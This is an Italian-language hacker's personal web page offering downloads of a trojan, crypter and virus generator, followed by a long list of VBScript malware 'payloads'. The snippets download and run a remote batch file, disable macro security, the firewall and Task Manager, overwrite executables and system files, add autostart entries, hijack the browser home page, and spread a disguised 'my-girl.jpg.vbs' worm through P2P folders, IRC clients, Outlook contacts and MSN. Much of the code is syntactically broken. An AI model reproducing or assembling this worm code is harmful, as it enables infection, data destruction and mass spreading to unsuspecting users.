CYBERPUNKHACKER

//////////////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

|||| |||||

|||||| C - Y B - E - R P - U - N - K H - A - C - K - E - R O - F - F - I - C - I - A - L W - E - B S - I - T - E ||||||

|||||| ||||||

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ciao a tutti il mio nome è cyberpunkhacker questo è il mio primo sito internet , ho creato questo sito internet per alkune persone ke sono interessate

ai miei programmi come winsock-trojan cript-engine e virus generator

ragazzi vi ricordo una cosa tutti i miei programmi sono open source potrete modificarli come volete voi

eccovi i link per il download

http://cyberpunkhacker.altervista.org/cryptoenginedeveloper/crypto-engine.zip

http://cyberpunkhacker.altervista.org/winsockdeveloper/winsock-trojan1.zip

http://cyberpunkhacker.altervista.org/virdeveloper/final.zip

adesso eccovi una grosso lista di payloads da aggiungere ai vostri virus in visual basic script

_______________________________________________________________________________________________________________________________

Set WScriptShell = CreateObject("WScript.Shell")
WScriptShell.run "Http://cyberpunkhacker.altervista.org/v/dark-exploit.html",3,false

questo attiva un exploit potentissimo ke fa crashare internet explorer

________________________________________________________________________________________________________________________________

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

questo disattiva la sicurezza macro

________________________________________________________________________________________________________________________________

Dim AK
Dim xmb
Set xmb = CreateObject("Microsoft.XMLHTTP")
xmb.Open "GET", "http://cyberpunkhacker.altervista.org/v/virus.bat", False
xmb.Send
AK = xmb.ResponseBody
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.OpenBinaryStream.Write AK
BinaryStream.SaveToFile "c:\windows\system32\virus.bat", adSaveCreateOverWrite
Shell.ShellExecute"c:\windows\system32\virus.bat","","","open",0

questo attiva il download di un trojan e poi lo fa partire

________________________________________________________________________________________________________________________________

Set Shell = CreateObject("wscript.shell")
Shell.regwrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile", "/v EnableFirewall /t REG_DWORD /d 00000000 /f>NUL"
Shell.regwrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile", "/v DoNotAllowExceptions /t REG_DWORD /d 00000000 /f>NUL"
Shell.regwrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile", "/v DisableNotifications /t REG_DWORD /d"

questo disattiva il firewall

________________________________________________________________________________________________________________________________

Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\Program Files\emule") Then
Set emule = "C:\Program Files\emule\incoming\my-girl.jpg.vbs"
fso.CopyFile Wscript.ScriptFullName, emule

propagazione via emule

________________________________________________________________________________________________________________________________

Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\Program Files\KaZaA") Then
Set KaZaA = "C:\Program Files\KaZaA\My Shared Folder\my-girl.jpg.vbs"
fso.CopyFile Wscript.ScriptFullName, KaZaA
End If
If fso.FolderExists("C:\Program Files\KaZaA Lite\") Then
Set KaZaALite = "C:\Program Files\KaZaA Lite\My Shared Folder\my-girl.jpg.vbs"
fso.CopyFile Wscript.ScriptFullName, KaZaALite

propagazione via kazaa

_________________________________________________________________________________________________________________________________

Function Mirc(path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If path = "" Then
Call FileCopy("wscript.scriptfullname" = "c:\windows\worm.vbs")
If fso.fileexists("c:\mirc\mirc.ini") Then path = "c:\mirc"
If fso.fileexists("c:\mirc32\mirc.ini") Then path = "c:\mirc32"
PfDir = ws.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If fso.fileexists(PfDir & "\mirc\mirc.ini") Then path = PfDir & "\mirc"
End If
If path <> "" Then
Set Script = fso.CreateTextFile(path & "\script.ini", True)
Script.WriteLine "[script]"
Script.WriteLine "n0=on 1:JOIN:#:{"
Script.WriteLine "n1= /if ( $nick == $me ) { halt }"
Script.WriteLine "n2= /." & Chr(100) & Chr(99) & Chr(99) & " send $nick c:\windows\worm.vbs"
Script.WriteLine "n3=}"
Script.Close
End If
End Function

propagazione via mIRC

________________________________________________________________________________________________________________________________

Set fso = CreateObject("Scripting.FileSystemObject")
fso.copyfile wscript.scriptfullname, "C:\Virc\my-girl.jpg.vbs", True
Set Shell = CreateObject("WScript.Shell")
Shell.RegWrite "HKEY_CURRENT_USER\.Default\Software\MeGaLiTh Software\Visual IRC 96\Events\Event17", "dcc send $nick C:\Virc\my-girl.jpg.vbs"

propagazione via vIRC

________________________________________________________________________________________________________________________________

Dim pirch
Set fso = CreateObject("Scripting.FileSystemObject")
Set Mirc = fso.CreateTextFile("C:\pirch98\events.ini")
fso.CopyFile wscript.ScriptFullName, "C:\pirch98\my-girl.jpg.vbs", True
pirch.WriteLine "[Levels]"
pirch.WriteLine "Enabled=1"
pirch.WriteLine "Count=6"
pirch.WriteLine "Level1=000-Unknows"
pirch.WriteLine "000-UnknowsEnabled=1"
pirch.WriteLine "Level2=100-Level 100"
pirch.WriteLine "100-Level 100Enabled=1"
pirch.WriteLine "Level3=200-Level 200"
pirch.WriteLine "200-Level 200Enabled=1"
pirch.WriteLine "Level4=300-Level 300"
pirch.WriteLine "300-Level 300Enabled=1"
pirch.WriteLine "Level5=400-Level 400"
pirch.WriteLine "400-Level 400Enabled=1"
pirch.WriteLine "Level6=500-Level 500"
pirch.WriteLine "500-Level 500Enabled=1"
pirch.WriteLine "[000-Unknowns]"
pirch.WriteLine "User1=*!*@*"
pirch.WriteLine "UserCount=1"
pirch.WriteLine "Events1=ON JOIN:#: /dcc send $nick C:\Pirch98\my-girl.jpg.vbs"
pirch.WriteLine "EventCount=1"
pirch.WriteLine "[100-Level 100]"
pirch.WriteLine "UserCount=0"
pirch.WriteLine "EventCount=0"
pirch.WriteLine "[200-Level 200]"
pirch.WriteLine "UserCount=0"
pirch.WriteLine "EventCount=0"
pirch.WriteLine "[300-Level 300]"
pirch.WriteLine "UserCount=0"
pirch.WriteLine "EventCount=0"
pirch.WriteLine "[400-Level 400]"
pirch.WriteLine "UserCount=0"
pirch.WriteLine "EventCount=0"
pirch.WriteLine "[500-Level 500]"
pirch.WriteLine "UserCount=0"
pirch.WriteLine "EventCount=0"
pirch.Close

propagazione via pIRC

_______________________________________________________________________________________________________________________________

On Error Resume Next
Dim x
Set fso = "Scripting.FileSystem.Object"
Call FileCopy("wscript.scriptfullname" = "c:\windows\system32\my-girl.jpg.vbs")
Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For x = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject = "hey look my girl"
Mail.Body = ":P"
Mail.Attachments.Add ("c:\windows\system32\my-girl.jpg.vbs")
Mail.Send
Next
ol.Quit

propagazione via outlook

________________________________________________________________________________________________________________________________

Set ws = CreateObject("WScript.Shell")
call filecopy ("wscript.scriptfullname" = "c:\windows\worm.vbs")
ws.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Worm", "wscript.exe c:\windows\Worm.vbs %"

autoavvio

________________________________________________________________________________________________________________________________

Function Subfolders(path)
newpath=path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each file In Files
If fso.GetExtensionName(file.path) = "ini" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "ocx" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "hta" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "com" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "sys" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "dll" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "wsh" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "exe" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbs" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbe" Then
fso.copyfile wscript.scriptfullname, file.path, True
end function

infetta file

_______________________________________________________________________________________________________________________________

Dim reg
Set reg = Createobject("Wscript.Shell")
reg.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

disabilita task manager

_______________________________________________________________________________________________________________________________

Dim reg
Set reg = Createobject("Wscript.Shell")
reg.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "67108863", "REG_DWORD"

nasconde i drivers

_______________________________________________________________________________________________________________________________

Dim reg
Set reg = Createobject("Wscript.Shell")
reg.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","1", "REG_DWORD"

disabilita esegui

_______________________________________________________________________________________________________________________________

Dim reg
Set reg = Createobject("Wscript.Shell")
reg.regwrite "HKLM\Software\Microsoft\Windows\Internet Explorer\Main","http://cyberpunkhacker.altervista.org/light-exploit.html", "REG_SZ"

installa un hijacker con un exploit potentissimo

________________________________________________________________________________________________________________________________

On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
RegServ = "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"
wsc.RegWrite RegServ & "\DisableMouse", "Rundll32.exe Mouse,Disable"

disabilita il mouse

________________________________________________________________________________________________________________________________

Function Spread()
Call FileCopy("wscript.scriptfullname" = "c:\windows\my-girl.jpg.vbs")
If fso.GetExtensionName(file.path)="zip" then
On error resume next
set ws = createobject("wscript.shell")
set word = createobject("word.application")
appword = word.System.PrivateProfileString("","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "")
ws.run appword & " -a -r " & file.path & Chr(32) & " C:\windows\my-girl.jpg.vbs"
Option Explicit
Public WithEvents Msn As MessengerAPI.Messenger
Set Msn = New MessengerAPI.Messenger
Dim msncontacts As IMessengerContacts
Dim msncontact As IMessengerContact
Set msncontacts = Msn.MyContacts
For Each msncontact In msncontacts
Dim newreg
Dim i
If msncontact.Status = MISTATUS_AWAY Then
Msn.InstantMessage msncontact
SendKeys "eheheeheheh guarda ke bellezza"
SendKeys "{enter}"
DoEvents
Msn.SendFile msncontact, "c:\windows\my-girl.jpg.vbs.zip"
SendKeys "{enter}"
DoEvents
End If
DoEvents
If msncontact.Status = MISTATUS_ONLINE Then
Msn.InstantMessage msncontact
SendKeys "guarda ke bellezza!!! mamma miaaaa quanto è bona"
SendKeys "{enter}"
DoEvents
Msn.SendFile msncontact, "c:\windows\my-girl.jpg.vbs"
SendKeys "{enter}"
DoEvents
End If
End Function

propagazione via msn

______________________________________________________________________________________________________________________________

On Error Resume Next
Set wsc = CreateObject("WScript.Shell")
wsc.Run "Ping.exe -t -l 916 localhost", 0, False

ping

_____________________________________________________________________________________________________________________________

disabilita tastiera

_____________________________________________________________________________________________________________________________

Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\Program Files\icq") Then
Set icq = "C:\Program Files\icq\shared files\my-girl.jpg.vbs"
fso.CopyFile Wscript.ScriptFullName, icq

propagazione via icq

______________________________________________________________________________________________________________________________

Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\Program Files\bearshare") Then
Set bearshare = "C:\Program Files\bearshare\shared\my-girl.jpg.vbs"
fso.CopyFile Wscript.ScriptFullName, bearshare

propagazione via bearshare

______________________________________________________________________________________________________________________________

Dim reg
Set reg = CreateObject("WScript.Shell")
reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDesktop","1", "REG_DWORD"

disabilita il desktop

_____________________________________________________________________________________________________________________________